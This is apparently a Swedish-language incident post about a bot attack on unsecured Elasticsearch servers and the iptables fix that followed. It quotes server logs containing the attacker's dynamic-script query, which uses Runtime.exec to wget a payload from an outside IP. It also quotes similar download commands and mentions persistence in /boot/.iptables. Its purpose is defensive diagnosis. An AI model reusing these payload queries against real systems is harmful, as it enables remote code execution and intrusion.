Problem löst:
Orsak: En robotattack på våra servrar som var osäkrade.
Enligt en artikel postad av elasticsearch:
https://www.elastic.co/blog/scripting-security/
Vidtagna åtgärder: Vi har lagt till iptables-regler till vår marionettserver för att tillämpa alla våra elasticsearch-servrar.
Vi gjorde det misstaget och tyvärr betalade vi priset. Vi är tillbaka och kör just nu.
Tja enligt loggarna hittade jag något mycket misstänkt
[2015-04-30 05:05:59,808][DEBUG][action.search.type ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [[email protected]] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
Jag ska trimma ner det mesta:
exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")
Detta är formen av ett robothack, eftersom vi inte har någon som heter xiao eller vi inte har våra servrar i Kina (enligt GEO-IP), misstänkte vi denna linje.
Enligt artikeln som nämns ovan:
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.
Hackaren använde några otäcka frågor som fick vår elastiska sökning att sluta fungera.
Vi har startat om våra servrar och lagt till Iptables, och vi är tillbaka i verksamheten.